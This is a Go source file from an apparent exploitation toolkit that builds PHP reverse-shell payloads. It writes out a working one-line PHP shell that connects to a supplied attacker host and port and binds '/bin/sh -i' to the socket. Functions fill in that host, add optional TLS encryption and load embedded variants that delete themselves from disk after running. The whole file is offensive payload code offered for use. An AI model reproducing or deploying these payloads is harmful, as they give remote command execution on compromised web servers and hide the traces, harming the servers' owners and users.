package reverse

import (
	_ "embed"
	"fmt"
	"strings"
)

var (
	PHPDefault          = PHPLinuxInteractive
	PHPLinuxInteractive = `<?php $sock=fsockopen("%s",%d);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>`

	//go:embed php/unflattened.php
	PHPUnflattened string
	//go:embed php/unflattened_self_delete.php
	PHPUnflattenedSelfDelete string
)

func (php *PHPPayload) Default(lhost string, lport int) string {
	return strings.Trim(php.LinuxInteractive(lhost, lport), "\r\n")
}

// A short payload that creates a reverse shell using /bin/sh -i.
func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string {
	return strings.Trim(fmt.Sprintf(PHPDefault, lhost, lport), "\r\n")
}

// Creates an encrypted reverse shell using PHP. The payload autodetects the operating system and
// will selected cmd.exe or /bin/sh accordingly.. The user also specifies if the reverse shell
// should be encrypted or not.
//
//	reverse.PHP.Unflattened("10.9.49.80", 1270, true).
func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bool) string {
	hostname := fmt.Sprintf("%s:%d", lhost, lport)
	if encrypted {
		hostname = "tls://" + hostname
	}

	return strings.Trim(fmt.Sprintf(PHPUnflattened, hostname), "\r\n")
}

// Creates an encrypted reverse shell using PHP, same as Unflattened, but attempts to self-delete
// and sets up destructors to delete file on disk when command exits.
func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, encrypted bool) string {
	hostname := fmt.Sprintf("%s:%d", lhost, lport)
	if encrypted {
		hostname = "tls://" + hostname
	}

	return strings.Trim(fmt.Sprintf(PHPUnflattenedSelfDelete, hostname), "\r\n")
}
